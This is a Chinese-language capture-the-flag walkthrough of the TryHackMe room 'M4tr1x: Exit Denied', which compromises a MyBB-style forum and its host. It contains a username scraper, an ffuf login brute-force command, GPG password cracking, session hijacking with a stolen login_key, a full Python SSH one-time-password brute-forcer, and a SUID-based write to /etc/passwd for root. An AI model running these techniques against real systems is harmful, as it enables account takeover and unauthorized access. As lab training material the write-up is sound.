您现在的位置是:首页 >技术教程 >TryHackMe-M4tr1x: Exit Denied(boot2root)网站首页技术教程

TryHackMe-M4tr1x: Exit Denied(boot2root)

Sugobet 2023-06-13 04:00:03
简介TryHackMe-M4tr1x: Exit Denied(boot2root)

M4tr1x: Exit Denied

大多数人只看到一个完美构建的系统。但你一直都是不同的。你不仅看到表面上的东西,还看到 它下面有什么统治;调节和调节的内部关联机制 几乎完美地管理其每个模块,以至于它试图隐藏所有模块 其多面设计中的微小孔。但是,这些漏洞仍然存在,不要 他们?。。。是的,你还在学习,但你最大的弱点是自我怀疑…它继续 阻止你…你知道它来自哪里吗?在内心深处,我知道你会这样做。 你知道有些事情不对劲,你只是不能把手指放在上面。井 让我告诉你。你生活在梦中。一个已经放在你的 眼睛让你看不到你意识到你可以成为谁。是的。。。我能感觉到你 知道我告诉你的是真的…困境是有这些“代理人”… 让我们称它们为看起来像你和我的程序。他们试图传播这一点 自我怀疑、怀疑和恐惧的病毒进入少数人的潜意识 具有巨大潜力的新兴黑客。你为什么问?这是因为头脑 像你一样对控制“M4tr1x 系统”的人构成威胁;人造的, 模拟世界是为了抑制你的全部感官而开发的。在下一场反对机器的战争中,我们需要你。但只有你能逃脱 将您的工程现实带入现实世界…我 将在另一边等待。


端口扫描

循例nmap

在这里插入图片描述

Web枚举

进入80

在这里插入图片描述

gobuster扫

在这里插入图片描述

似乎都没啥东西

在memberlist下发现题目描述的兔子

在这里插入图片描述

它有一些帖子,进去看一眼

在这里插入图片描述

先注册个账号

在这里插入图片描述

有个漏洞赏金的帖子

在这里插入图片描述

我们致力于保护我们的社区免受未来的网络攻击。

如果您是一名安全专家或积极参与查找 Web 应用程序中的安全漏洞的爱好者,那么 linux-bay 需要您。 要参与,您需要做的就是确保向以下页面报告任何小弱点:/bugbountyHQ,我们将尝试解决上述问题。 请注意:如果安全漏洞被认为是严重的,那么请 PM 我或任何模组,不要使用上面的报告页面。 谢谢



更新:由于维护而禁用。

进到那个可能存在漏洞的页面

在这里插入图片描述

虽然它禁用了,但是我们仍然可以通过修改前端,删除disable属性来启用它

在这里插入图片描述

在reportPanel.php,披露了他人提交的漏洞

在这里插入图片描述

挑选最新的一些漏洞,有这三个

在这里插入图片描述

弱密码应该是我们不错的选择

我们先使用python写个爬虫

from lxml import etree
import requests


for index in range(1,4):
	req_uri = f'http://10.10.102.167/memberlist.php?sort=regdate&order=ascending&perpage=20&page={index}'
	res = requests.get(req_uri)
	
	nameList = (etree.HTML(res.text)).xpath('//td/a/text()')
	nameList1 = (etree.HTML(res.text)).xpath('//td/a/span/strong/text()')
	for name in nameList:
		print(name)
	for name1 in nameList1:
		print(name1)

运行脚本,使用管道符写入文件,我们得到了比较完整的用户名

在这里插入图片描述

把那些弱密码也保存下来

ffuf爆破

ffuf -u 'http://10.10.102.167/member.php' -X POST -H 'Cookie: mybb[lastvisit]=1682388755; mybb[lastactive]=1682393195; _ga=GA1.1.858611810.1682392067; _gid=GA1.1.181915025.1682392067; _gat_gtag_UA_120533740_1=1; sid=6e99b20229c6b51e87f4c8e841ff7ebd' -H 'Content-Type:application/x-www-form-urlencoded' -d 'username=USER&password=PASS&remember=yes&submit=Login&action=do_login&url=&my_post_key=68261ebeaf58eb3ba4c7f71b193eb4db' -w ./users.txt:USER -w ./pass.txt:PASS -fw 666

在这里插入图片描述

获得不少账户的密码

在这里插入图片描述

其中有两个账户PalacerKing和ArnoldBagger是版主

登录PalacerKing,查看信箱

在这里插入图片描述

登另一个账号,把信箱翻个遍,发现一个目录

在这里插入图片描述

有个插件和gpg

在这里插入图片描述

在v2版本的插件代码当中,最有价值的信息就是:

$sql_p = file_get_contents('inc/tools/manage/SQL/p.txt'); //read SQL password from p.txt

那么很显然,p.txt.gpg文件中就存放了密码

根据房间的指引,在reportPanel.php的源代码下发现了

在这里插入图片描述

cyberchef解码

在这里插入图片描述

把它拆开翻译一下

在这里插入图片描述

进到那个二进制的目录

查看源代码,发现与上文提供的信息有关的地方这些中文里参杂了一些英文字母:ofqxvg

在这里插入图片描述

而题目引导我们去利用几个英文字母去生成密码来破解gpg文件

直接贴代码

import itertools


str1 = 'ofqxvg'
p = itertools.permutations(str1)

for pass_list in list(p):
	pwd = ''
	for val in pass_list:
		pwd += val
	print(pwd)

在这里插入图片描述

gpg2john+john直接爆

在这里插入图片描述

gpg解密得到数据库的密码

在这里插入图片描述

插件中是使用mod登录数据库

//!!!!!!SQL LOGIN for modManager (needed for reading login_keys for user migration)
define('localhost', 'localhost:3306');
//mysql connect using user 'mod' and password from 'sql_p varirable'
$db = mysql_connect('localhost','mod',$sql_p);

直接登mysql

在里面找到了另一个我们之前没有密码的版主的login_key

在这里插入图片描述

使用cookie editor找到了使用login_key的位置,uid+login_key

在这里插入图片描述

直接改成blackcat的uid和login_key

在这里插入图片描述

在里面找到一些文件

在这里插入图片描述

找到了房间所说的文档,看的有点晕,来一颗wp救心丹@siunam321

from datetime import datetime, timedelta
from hashlib import sha256
import random
from paramiko import SSHClient, AutoAddPolicy, AuthenticationException, ssh_exception
import os
import ntplib

class TimeSimulatorClient:
    def __init__(self, sharedSecret1, sharedSecret2, sharedSecret3, targetIPAdress):
        self.sharedSecret1 = sharedSecret1
        self.sharedSecret2 = sharedSecret2
        self.sharedSecret3 = sharedSecret3
        self.targetIPAdress = targetIPAdress
        self.listSecret = [sharedSecret1, sharedSecret2, sharedSecret3]

    def setTimeZone(self):
        try:
            print('[*] Setting timezone to UTC')
            print('[*] Before:')
            os.system('sudo timedatectl --value')
            os.system('sudo timedatectl set-timezone UTC')
            print('[+] Timezone has been changed to UTC')
        except:
            print('[-] Couldn't set the timezone to UTC')

    def syncTime(self):
        try: 
            client = ntplib.NTPClient()
            client.request(self.targetIPAdress) #IP of linux-bay server
            print('[+] Synced to the time server')
        except:
            print('[-] Could not sync with time server')

    def TimeSet(self, country, hours, mins, seconds):
        now = datetime.now() + timedelta(hours=hours, minutes=mins)
        #time units: day, hour, minutes
        CurrentTime = int(now.strftime("%d%H%M"))

        return CurrentTime
       
    def getOTP(self):
        CA = self.TimeSet('Ukraine', 4, 43, 0)
        CB = self.TimeSet('Germany', 13, 55, 0)
        CC = self.TimeSet('England', 9, 19, 0)
        CD = self.TimeSet('Nigeria', 1, 6, 0)
        CE = self.TimeSet('Denmark', -5, 18, 0)

        listTimeSet = [CA, CB, CC, CD, CE]
        randomTimeSet = random.sample(listTimeSet, 3)

        # CTT = CA * CB * CC
        CTT = randomTimeSet[0] * randomTimeSet[1] * randomTimeSet[2]

        # UC = CTT XOR SST
        UC = CTT ^ random.choice(self.listSecret)

        # hash OTP
        HC = (sha256(repr(UC).encode('utf-8')).hexdigest())

        # HC Truncate
        T = HC[22:44]
        
        SSHOTP = T
        return SSHOTP

    def bruteForceSSH(self, SSHUsername, OTP):
        print(f'[*] Trying SSH OTP: {OTP}', end='
')

        sshClient = SSHClient()
        sshClient.set_missing_host_key_policy(AutoAddPolicy())
        try:
            sshClient.connect(self.targetIPAdress, username=SSHUsername, password=OTP, banner_timeout=300)
            return True
        except AuthenticationException:
            # print(f'[-] Wrong OTP: {OTP}')
            pass
        except ssh_exception.SSHException:
            print('[*] Attempting to connect - Rate limiting on server')

def main():
    #shared secret token for OTP calculation
    sharedSecret1 = 1289xxxxxxxx488
    sharedSecret2 = 59xxxxxxxx453
    sharedSecret3 = 79xxxxxxx579
    # Change to the machine's IP
    targetIPAdress = '10.10.96.40'
    
    timeSimulatorClient = TimeSimulatorClient(sharedSecret1, sharedSecret2, sharedSecret3, targetIPAdress)

    # Change timezone & sync to the time server
    timeSimulatorClient.setTimeZone()
    timeSimulatorClient.syncTime()

    # Brute forcing SSH with computed OTP
    SSHUsername = 'architect'
    while True:
        OTP = timeSimulatorClient.getOTP()
        bruteForceResult = timeSimulatorClient.bruteForceSSH(SSHUsername, OTP)

        if bruteForceResult is True:
            print(f'[+] Found the correct OTP! {SSHUsername}:{OTP}')
            break

if __name__ == '__main__':
    main()

跑出来

在这里插入图片描述

登ssh同时拿到user flag

在这里插入图片描述

权限提升

find suid,发现一个陌生的二进制文件

在这里插入图片描述

根据lol,它可以造成任意文件读写

在这里插入图片描述

直接利用其向passwd写入账户,值得注意的是要将hash开头的两个$前加反斜杠

在这里插入图片描述

但root flag不在root家目录下

find找到了’/etc/-- -root.py’

在这里插入图片描述

直接运行它得到flag

在这里插入图片描述

题目还要找acp pin

在这里插入图片描述

python计算一下

在这里插入图片描述

得到pin码后,拿着bigpaul的凭据回去登录

在这里插入图片描述

直接登录

在这里插入图片描述

web flag在下面的note

在这里插入图片描述

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。